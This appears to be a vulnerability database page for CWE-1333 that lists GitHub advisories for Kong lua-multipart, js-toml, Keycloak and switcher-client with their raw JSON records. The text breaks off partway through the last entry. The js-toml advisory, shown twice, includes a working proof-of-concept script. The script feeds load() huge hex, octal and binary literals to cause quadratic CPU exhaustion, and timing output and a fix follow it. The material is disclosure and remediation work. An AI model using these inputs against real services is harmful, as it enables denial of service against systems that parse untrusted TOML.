Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

778 vulnerabilities reference this CWE, most recent first.

GHSA-WJP8-5G4J-4RJJ

Vulnerability from github – Published: 2023-02-12 21:30 – Updated: 2023-02-24 06:30
VLAI
Details

A vulnerability was found in Kong lua-multipart 0.5.8-1. It has been declared as problematic. This vulnerability affects the function is_header of the file src/multipart.lua. The manipulation leads to inefficient regular expression complexity. Upgrading to version 0.5.9-1 is able to address this issue. The name of the patch is d632e5df43a2928fd537784a99a79dec288bf01b. It is recommended to upgrade the affected component. VDB-220642 is the identifier assigned to this vulnerability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-36661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-12T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Kong lua-multipart 0.5.8-1. It has been declared as problematic. This vulnerability affects the function is_header of the file src/multipart.lua. The manipulation leads to inefficient regular expression complexity. Upgrading to version 0.5.9-1 is able to address this issue. The name of the patch is d632e5df43a2928fd537784a99a79dec288bf01b. It is recommended to upgrade the affected component. VDB-220642 is the identifier assigned to this vulnerability.",
  "id": "GHSA-wjp8-5g4j-4rjj",
  "modified": "2023-02-24T06:30:15Z",
  "published": "2023-02-12T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kong/lua-multipart/pull/34"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kong/lua-multipart/commit/d632e5df43a2928fd537784a99a79dec288bf01b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kong/lua-multipart/releases/tag/0.5.9-1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.220642"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.220642"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WP3C-266W-4QFQ

Vulnerability from github – Published: 2026-06-26 22:21 – Updated: 2026-06-26 22:21
VLAI
Summary
js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals
Details

Summary

js-toml versions up to and including 1.1.0 parse hexadecimal / octal / binary integer literals via a hand-written parseBigInt loop that multiplies a BigInt accumulator by the radix once per input digit. Each iteration performs a BigInt * BigInt operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is O(n²) in the literal length. The lexer regex places no upper bound on the literal length, so a single TOML document containing one ~500 kB hex literal pins one CPU core for ~40 seconds on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.

A caller that invokes load() on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party *.toml, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.

CWE-1333 (Inefficient Regular Expression Complexity → here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (HIGH) when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (< 1 kB).

Affected

  • Package: js-toml (npm)
  • Versions: >= 0.0.0, <= 1.1.0 (all released versions up to and including the current 1.1.0)
  • Affected entry point: load() exported from the package root

Vulnerable code

src/load/tokens/NonDecimalInteger.ts lines 54-84 at SHA-pinned 2470ebf2e9009096aa4cbd1a15e574c54cc36b1a:

const parseBigInt = (string: string, radix: number): bigint => {
  let result = BigInt(0);
  for (let i = 0; i < string.length; i++) {
    const char = string[i];
    const digit = parseInt(char, radix);
    result = result * BigInt(radix) + BigInt(digit);
  }

  return result;
};

and the interpreter that dispatches to it at lines 72-84:

registerTokenInterpreter(NonDecimalInteger, (raw: string) => {
  const intString = raw.replace(/_/g, '');
  const digits = intString.slice(2);
  const radix = getRadix(raw);

  const int = parseInt(digits, radix);

  if (Number.isSafeInteger(int)) {
    return int;
  }

  return parseBigInt(digits, radix);
});

Two compounding problems:

  1. Algorithmic: the loop performs result * BigInt(radix) + BigInt(digit) once per input digit. After i iterations result has O(i) limbs, so the multiply costs O(i). Summed over n digits the total cost is O(n²).

  2. No length guard: the lexer regex at src/load/tokens/NonDecimalInteger.ts#L14-L46 is 0x<hexDigit>(<hexDigit>|_<hexDigit>)* (likewise for 0o / 0b). The literal length is bounded only by the input document size. There is no maxNumberLength / maxLiteralLength option, no chevrotain-level cutoff, and no validation at the interpreter callsite.

By contrast, the DecimalInteger token interpreter at src/load/tokens/DecimalInteger.ts#L12-L19 uses the V8 native BigInt(intString) constructor, which is O(n) and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.

Impact

A single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With 8 MB of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls load() (the only documented entry point) on attacker-controlled or third-party TOML.

Reachability

The vulnerable path is the default code path for load(). No options or configuration are required to trigger it. Any caller that exposes load() to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds Number.MAX_SAFE_INTEGER (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).

Realistic exposure surfaces:

  • Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).
  • CI / CD or build tool that runs js-toml on TOML in third-party repositories or pull requests.
  • IDE / language-server plugin that re-parses a TOML buffer on every keystroke.
  • Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.

PoC (End-to-end reproduction)

Environment

  • Node.js v22.x (tested on v22.0.0 and Node v26.0.0)
  • macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)

Install

mkdir js-toml-cve && cd js-toml-cve
npm init -y
npm install js-toml@1.1.0 @iarna/toml

poc_full_e2e.mjs

import { load } from 'js-toml';
import iarna from '@iarna/toml';

function timeIt(label, fn) {
  const t0 = process.hrtime.bigint();
  let result, err;
  try { result = fn(); } catch (e) { err = e; }
  const t1 = process.hrtime.bigint();
  const ms = (Number(t1 - t0) / 1e6).toFixed(1);
  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);
  else     console.log(`${label}: ${ms}ms${result ? ' ' + result : ''}`);
}

console.log('--- Sanity baseline (small inputs) ---');
timeIt('decimal int 1', () => { load('x = 1'); return ''; });
timeIt('hex 0x10',      () => { load('x = 0x10'); return ''; });
timeIt('hex 0xffff',    () => { load('x = 0xffff'); return ''; });

console.log('\n--- Amplification curve: js-toml.load() with 0x<N hex digits> ---');
for (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,
    () => {
      const r = load(tomlText);
      return `bits=${r.x.toString(2).length}`;
    });
}

console.log('\n--- Negative control: same input via @iarna/toml ---');
for (const n of [10_000, 50_000, 100_000, 200_000]) {
  const hexDigits = 'f'.repeat(n);
  const tomlText  = `x = 0x${hexDigits}`;
  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,
    () => {
      const r = iarna.parse(tomlText);
      return `type=${typeof r.x}`;
    });
}

console.log('\n--- Octal / binary share the same code path ---');
for (const n of [50_000, 100_000]) {
  const octDigits = '7'.repeat(n);
  const binDigits = '1'.repeat(n);
  timeIt(`oct 0o${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });
  timeIt(`bin 0b${n.toLocaleString()} digits`,
    () => { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });
}

Captured run output (unpatched js-toml@1.1.0, Node v26.0.0, Apple M-series)

# js-toml version: 1.1.0

--- Sanity baseline (small inputs) ---
decimal int 1: 1.3ms
hex 0x10: 0.4ms
hex 0xffff: 0.1ms

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits (10006 bytes input): 15.0ms bits=40000
hex 20,000 digits (20006 bytes input): 29.8ms bits=80000
hex 50,000 digits (50006 bytes input): 214.7ms bits=200000
hex 100,000 digits (100006 bytes input): 693.0ms bits=400000
hex 200,000 digits (200006 bytes input): 3239.6ms bits=800000
hex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000

--- Negative control: same input via @iarna/toml ---
@iarna/toml hex 10,000 digits: 2.3ms type=bigint
@iarna/toml hex 50,000 digits: 3.2ms type=bigint
@iarna/toml hex 100,000 digits: 5.4ms type=bigint
@iarna/toml hex 200,000 digits: 10.2ms type=bigint

--- Octal / binary share the same code path ---
oct 0o50,000 digits: 187.6ms bits=150000
bin 0b50,000 digits: 49.5ms bits=50000
oct 0o100,000 digits: 633.2ms bits=300000
bin 0b100,000 digits: 196.8ms bits=100000

Confirmation points:

  • Quadratic curve: 10k → 20k digits is ~2x time (15ms → 30ms); 100k → 200k is ~4.7x time (693ms → 3239ms); 200k → 500k (2.5x) is ~12x time (3.2s → 40s). Matches the predicted O(n²).
  • Single ~500 kB document blocks the event loop for ~40 s of CPU time.
  • Octal and binary literals trigger the same path through parseBigInt(digits, 8) and parseBigInt(digits, 2).
  • The negative control (@iarna/toml, which calls the V8 native BigInt(value) constructor) parses the same inputs in 2-10 ms. The defect is in js-toml's hand-written radix conversion, not in V8 BigInt semantics or in the input size itself.

Patched-build verification

After applying the fix (replace parseBigInt(digits, radix) with BigInt('0' + raw[1] + digits) and add a maxLiteralLength guard at the interpreter callsite), the same PoC produces:

--- Amplification curve: js-toml.load() with 0x<N hex digits> ---
hex 10,000 digits: 0.2ms bits=40000
hex 20,000 digits: 0.3ms bits=80000
hex 50,000 digits: 0.7ms bits=200000
hex 100,000 digits: 1.5ms bits=400000
hex 200,000 digits: 2.8ms bits=800000
hex 500,000 digits: 7.1ms bits=2000000

(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise SyntaxParseError instead of being parsed at all, matching the maxNumberLength convention used by jackson-core StreamReadConstraints and gson NumberLimits.

Suggested fix

Two changes, both in src/load/tokens/NonDecimalInteger.ts:

  1. Replace the hand-written parseBigInt loop with the V8 native BigInt(prefixedString) constructor. BigInt natively accepts the 0x / 0o / 0b prefix and parses in O(n):

```ts registerTokenInterpreter(NonDecimalInteger, (raw: string) => { const intString = raw.replace(/_/g, ''); const digits = intString.slice(2); const radix = getRadix(raw);

 // Optional but recommended: cap the literal length to avoid degenerate inputs
 const MAX_RADIX_LITERAL_LENGTH = 1000;
 if (digits.length > MAX_RADIX_LITERAL_LENGTH) {
   throw new SyntaxParseError(
     `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`
   );
 }

 const int = parseInt(digits, radix);
 if (Number.isSafeInteger(int)) {
   return int;
 }

 // BigInt accepts '0x'/'0o'/'0b' prefix natively
 return BigInt(intString);

}); ```

  1. Delete the parseBigInt helper. The native constructor handles all three radices.

Either change alone fixes the worst-case wall-clock. The combination matches the constraint posture of jackson-core (StreamReadConstraints.validateIntegerLength) and gson (NumberLimits.checkNumberStringLength).

Fix PR link

https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2

Credit

Reported by tonghuaroot.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-toml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T22:21:43Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`js-toml` versions up to and including **1.1.0** parse hexadecimal / octal / binary integer literals via a hand-written `parseBigInt` loop that multiplies a `BigInt` accumulator by the radix once per input digit. Each iteration performs a `BigInt * BigInt` operation on an accumulator that grows linearly with the number of digits already consumed, so the whole loop is **O(n\u00b2)** in the literal length. The lexer regex places **no upper bound on the literal length**, so a single TOML document containing one ~500 kB hex literal pins one CPU core for **~40 seconds** on a modern laptop (Apple M-series, Node v22). Memory amplification is bounded but CPU amplification is severe and grows quadratically: doubling the literal length quadruples the work.\n\nA caller that invokes `load()` on attacker-controlled TOML (configuration upload endpoints, CI/CD systems ingesting third-party `*.toml`, IDE plugins, build tools) is exposed to a single-request CPU exhaustion DoS.\n\nCWE-1333 (Inefficient Regular Expression Complexity \u2192 here, inefficient parser complexity), CWE-400 (Uncontrolled Resource Consumption), CWE-407 (Inefficient Algorithmic Complexity).\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = **7.5 (HIGH)** when the parser is invoked on attacker-controllable input; LOW when the calling application restricts TOML input size to small documents (\u003c 1 kB).\n\n## Affected\n\n- Package: `js-toml` (npm)\n- Versions: `\u003e= 0.0.0, \u003c= 1.1.0` (all released versions up to and including the current `1.1.0`)\n- Affected entry point: `load()` exported from the package root\n\n## Vulnerable code\n\n`src/load/tokens/NonDecimalInteger.ts` lines 54-84 at SHA-pinned [`2470ebf2e9009096aa4cbd1a15e574c54cc36b1a`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L54-L84):\n\n```ts\nconst parseBigInt = (string: string, radix: number): bigint =\u003e {\n  let result = BigInt(0);\n  for (let i = 0; i \u003c string.length; i++) {\n    const char = string[i];\n    const digit = parseInt(char, radix);\n    result = result * BigInt(radix) + BigInt(digit);\n  }\n\n  return result;\n};\n```\n\nand the interpreter that dispatches to it at lines 72-84:\n\n```ts\nregisterTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n  const intString = raw.replace(/_/g, \u0027\u0027);\n  const digits = intString.slice(2);\n  const radix = getRadix(raw);\n\n  const int = parseInt(digits, radix);\n\n  if (Number.isSafeInteger(int)) {\n    return int;\n  }\n\n  return parseBigInt(digits, radix);\n});\n```\n\nTwo compounding problems:\n\n1. **Algorithmic**: the loop performs `result * BigInt(radix) + BigInt(digit)` once per input digit. After `i` iterations `result` has `O(i)` limbs, so the multiply costs `O(i)`. Summed over `n` digits the total cost is `O(n\u00b2)`.\n\n2. **No length guard**: the lexer regex at [`src/load/tokens/NonDecimalInteger.ts#L14-L46`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts#L14-L46) is `0x\u003chexDigit\u003e(\u003chexDigit\u003e|_\u003chexDigit\u003e)*` (likewise for `0o` / `0b`). The literal length is bounded only by the input document size. There is no `maxNumberLength` / `maxLiteralLength` option, no `chevrotain`-level cutoff, and no validation at the interpreter callsite.\n\nBy contrast, the `DecimalInteger` token interpreter at [`src/load/tokens/DecimalInteger.ts#L12-L19`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/DecimalInteger.ts#L12-L19) uses the V8 native `BigInt(intString)` constructor, which is `O(n)` and runs in single-digit milliseconds for inputs that take 40 seconds via the hand-written radix loop.\n\n## Impact\n\nA single attacker-supplied TOML document containing one ~500 kB radix-prefixed integer literal pins one CPU core for ~40 seconds on a modern laptop. Doubling the literal length quadruples the work. With `8 MB` of input the parse would block the event loop for many minutes of CPU. In a typical Node.js single-thread process this blocks all concurrent request handling for the duration. The defect is exploitable on any code path that calls `load()` (the only documented entry point) on attacker-controlled or third-party TOML.\n\n## Reachability\n\nThe vulnerable path is the default code path for `load()`. No options or configuration are required to trigger it. Any caller that exposes `load()` to attacker-controlled or third-party TOML input reaches it on the first hex / octal / binary literal whose value exceeds `Number.MAX_SAFE_INTEGER` (i.e. more than 13 hex digits, 18 octal digits, or 53 binary digits).\n\nRealistic exposure surfaces:\n\n- Web service that accepts a user-supplied TOML configuration (settings import, theme upload, deployment manifest).\n- CI / CD or build tool that runs `js-toml` on TOML in third-party repositories or pull requests.\n- IDE / language-server plugin that re-parses a TOML buffer on every keystroke.\n- Multi-tenant SaaS that lets one tenant submit TOML processed by a shared worker.\n\n## PoC (End-to-end reproduction)\n\n### Environment\n\n- Node.js `v22.x` (tested on `v22.0.0` and Node `v26.0.0`)\n- macOS arm64 / Linux x86_64 (CPU exhaustion is hardware-independent; absolute timings will scale by CPU clock)\n\n### Install\n\n```bash\nmkdir js-toml-cve \u0026\u0026 cd js-toml-cve\nnpm init -y\nnpm install js-toml@1.1.0 @iarna/toml\n```\n\n### `poc_full_e2e.mjs`\n\n```js\nimport { load } from \u0027js-toml\u0027;\nimport iarna from \u0027@iarna/toml\u0027;\n\nfunction timeIt(label, fn) {\n  const t0 = process.hrtime.bigint();\n  let result, err;\n  try { result = fn(); } catch (e) { err = e; }\n  const t1 = process.hrtime.bigint();\n  const ms = (Number(t1 - t0) / 1e6).toFixed(1);\n  if (err) console.log(`${label}: ERROR ${err.message} after ${ms}ms`);\n  else     console.log(`${label}: ${ms}ms${result ? \u0027 \u0027 + result : \u0027\u0027}`);\n}\n\nconsole.log(\u0027--- Sanity baseline (small inputs) ---\u0027);\ntimeIt(\u0027decimal int 1\u0027, () =\u003e { load(\u0027x = 1\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0x10\u0027,      () =\u003e { load(\u0027x = 0x10\u0027); return \u0027\u0027; });\ntimeIt(\u0027hex 0xffff\u0027,    () =\u003e { load(\u0027x = 0xffff\u0027); return \u0027\u0027; });\n\nconsole.log(\u0027\\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\u0027);\nfor (const n of [10_000, 20_000, 50_000, 100_000, 200_000, 500_000]) {\n  const hexDigits = \u0027f\u0027.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`hex ${n.toLocaleString()} digits (${tomlText.length} bytes input)`,\n    () =\u003e {\n      const r = load(tomlText);\n      return `bits=${r.x.toString(2).length}`;\n    });\n}\n\nconsole.log(\u0027\\n--- Negative control: same input via @iarna/toml ---\u0027);\nfor (const n of [10_000, 50_000, 100_000, 200_000]) {\n  const hexDigits = \u0027f\u0027.repeat(n);\n  const tomlText  = `x = 0x${hexDigits}`;\n  timeIt(`@iarna/toml hex ${n.toLocaleString()} digits`,\n    () =\u003e {\n      const r = iarna.parse(tomlText);\n      return `type=${typeof r.x}`;\n    });\n}\n\nconsole.log(\u0027\\n--- Octal / binary share the same code path ---\u0027);\nfor (const n of [50_000, 100_000]) {\n  const octDigits = \u00277\u0027.repeat(n);\n  const binDigits = \u00271\u0027.repeat(n);\n  timeIt(`oct 0o${n.toLocaleString()} digits`,\n    () =\u003e { const r = load(`x = 0o${octDigits}`); return `bits=${r.x.toString(2).length}`; });\n  timeIt(`bin 0b${n.toLocaleString()} digits`,\n    () =\u003e { const r = load(`x = 0b${binDigits}`); return `bits=${r.x.toString(2).length}`; });\n}\n```\n\n### Captured run output (unpatched `js-toml@1.1.0`, Node v26.0.0, Apple M-series)\n\n```\n# js-toml version: 1.1.0\n\n--- Sanity baseline (small inputs) ---\ndecimal int 1: 1.3ms\nhex 0x10: 0.4ms\nhex 0xffff: 0.1ms\n\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits (10006 bytes input): 15.0ms bits=40000\nhex 20,000 digits (20006 bytes input): 29.8ms bits=80000\nhex 50,000 digits (50006 bytes input): 214.7ms bits=200000\nhex 100,000 digits (100006 bytes input): 693.0ms bits=400000\nhex 200,000 digits (200006 bytes input): 3239.6ms bits=800000\nhex 500,000 digits (500006 bytes input): 40388.3ms bits=2000000\n\n--- Negative control: same input via @iarna/toml ---\n@iarna/toml hex 10,000 digits: 2.3ms type=bigint\n@iarna/toml hex 50,000 digits: 3.2ms type=bigint\n@iarna/toml hex 100,000 digits: 5.4ms type=bigint\n@iarna/toml hex 200,000 digits: 10.2ms type=bigint\n\n--- Octal / binary share the same code path ---\noct 0o50,000 digits: 187.6ms bits=150000\nbin 0b50,000 digits: 49.5ms bits=50000\noct 0o100,000 digits: 633.2ms bits=300000\nbin 0b100,000 digits: 196.8ms bits=100000\n```\n\nConfirmation points:\n\n- Quadratic curve: 10k \u2192 20k digits is ~2x time (15ms \u2192 30ms); 100k \u2192 200k is ~4.7x time (693ms \u2192 3239ms); 200k \u2192 500k (2.5x) is ~12x time (3.2s \u2192 40s). Matches the predicted `O(n\u00b2)`.\n- Single ~500 kB document blocks the event loop for ~40 s of CPU time.\n- Octal and binary literals trigger the same path through `parseBigInt(digits, 8)` and `parseBigInt(digits, 2)`.\n- The negative control (`@iarna/toml`, which calls the V8 native `BigInt(value)` constructor) parses the same inputs in 2-10 ms. The defect is in `js-toml`\u0027s hand-written radix conversion, not in V8 `BigInt` semantics or in the input size itself.\n\n### Patched-build verification\n\nAfter applying the fix (replace `parseBigInt(digits, radix)` with `BigInt(\u00270\u0027 + raw[1] + digits)` and add a `maxLiteralLength` guard at the interpreter callsite), the same PoC produces:\n\n```\n--- Amplification curve: js-toml.load() with 0x\u003cN hex digits\u003e ---\nhex 10,000 digits: 0.2ms bits=40000\nhex 20,000 digits: 0.3ms bits=80000\nhex 50,000 digits: 0.7ms bits=200000\nhex 100,000 digits: 1.5ms bits=400000\nhex 200,000 digits: 2.8ms bits=800000\nhex 500,000 digits: 7.1ms bits=2000000\n```\n\n(Linear scaling, sub-10 ms even on inputs five orders of magnitude larger than any realistic literal.) With a 1000-digit cap applied at the interpreter callsite, literals beyond the cap raise `SyntaxParseError` instead of being parsed at all, matching the `maxNumberLength` convention used by `jackson-core` `StreamReadConstraints` and `gson` `NumberLimits`.\n\n## Suggested fix\n\nTwo changes, both in [`src/load/tokens/NonDecimalInteger.ts`](https://github.com/sunnyadn/js-toml/blob/2470ebf2e9009096aa4cbd1a15e574c54cc36b1a/src/load/tokens/NonDecimalInteger.ts):\n\n1. Replace the hand-written `parseBigInt` loop with the V8 native `BigInt(prefixedString)` constructor. `BigInt` natively accepts the `0x` / `0o` / `0b` prefix and parses in `O(n)`:\n\n   ```ts\n   registerTokenInterpreter(NonDecimalInteger, (raw: string) =\u003e {\n     const intString = raw.replace(/_/g, \u0027\u0027);\n     const digits = intString.slice(2);\n     const radix = getRadix(raw);\n\n     // Optional but recommended: cap the literal length to avoid degenerate inputs\n     const MAX_RADIX_LITERAL_LENGTH = 1000;\n     if (digits.length \u003e MAX_RADIX_LITERAL_LENGTH) {\n       throw new SyntaxParseError(\n         `Radix-prefixed integer literal exceeds ${MAX_RADIX_LITERAL_LENGTH} digits`\n       );\n     }\n\n     const int = parseInt(digits, radix);\n     if (Number.isSafeInteger(int)) {\n       return int;\n     }\n\n     // BigInt accepts \u00270x\u0027/\u00270o\u0027/\u00270b\u0027 prefix natively\n     return BigInt(intString);\n   });\n   ```\n\n2. Delete the `parseBigInt` helper. The native constructor handles all three radices.\n\nEither change alone fixes the worst-case wall-clock. The combination matches the constraint posture of `jackson-core` (`StreamReadConstraints.validateIntegerLength`) and `gson` (`NumberLimits.checkNumberStringLength`).\n\n## Fix PR link\n\nhttps://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2\n\n## Credit\n\nReported by `tonghuaroot`.",
  "id": "GHSA-wp3c-266w-4qfq",
  "modified": "2026-06-26T22:21:43Z",
  "published": "2026-06-26T22:21:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sunnyadn/js-toml/security/advisories/GHSA-wp3c-266w-4qfq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49293"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunnyadn/js-toml/commit/1abcb31dc7b1fa88e4c848a8d108891cfbb96fa2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sunnyadn/js-toml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunnyadn/js-toml/releases/tag/v1.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-toml vulnerable to CPU exhaustion via O(n^2) BigInt construction on radix-prefixed integer literals"
}

GHSA-WQ8X-CG39-8MRR

Vulnerability from github – Published: 2024-11-25 18:32 – Updated: 2024-11-25 18:32
VLAI
Summary
org.keycloak:keycloak-services has Inefficient Regular Expression Complexity
Details

A vulnerability was found in the Keycloak-services package. If untrusted data is passed to the SearchQueryUtils method, it could lead to a denial of service (DoS) scenario by exhausting system resources due to a Regex complexity.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "24.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "25.0.0"
            },
            {
              "fixed": "26.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-10270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-25T18:32:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in the Keycloak-services package. If untrusted data is passed to the SearchQueryUtils method, it could lead to a denial of service (DoS) scenario by exhausting system resources due to a Regex complexity.",
  "id": "GHSA-wq8x-cg39-8mrr",
  "modified": "2024-11-25T18:32:13Z",
  "published": "2024-11-25T18:32:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-wq8x-cg39-8mrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10270"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/5d6c91f3309db468b0fe4834e88c3d25649f73e4"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10175"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10176"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10177"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:10178"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-10270"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2321214"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "org.keycloak:keycloak-services has Inefficient Regular Expression Complexity"
}

GHSA-WQXW-8H5G-HQ56

Vulnerability from github – Published: 2023-02-02 01:33 – Updated: 2023-02-15 17:35
VLAI
Summary
Switcher Client contains Regular Expression Denial of Service (ReDoS)
Details

Impact

Unsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).

Patches

Patched in 3.1.4

Workarounds

Avoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "switcher-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-02T01:33:06Z",
    "nvd_published_at": "2023-02-03T20:15:00Z",
    "severity": "HIGH"
  },
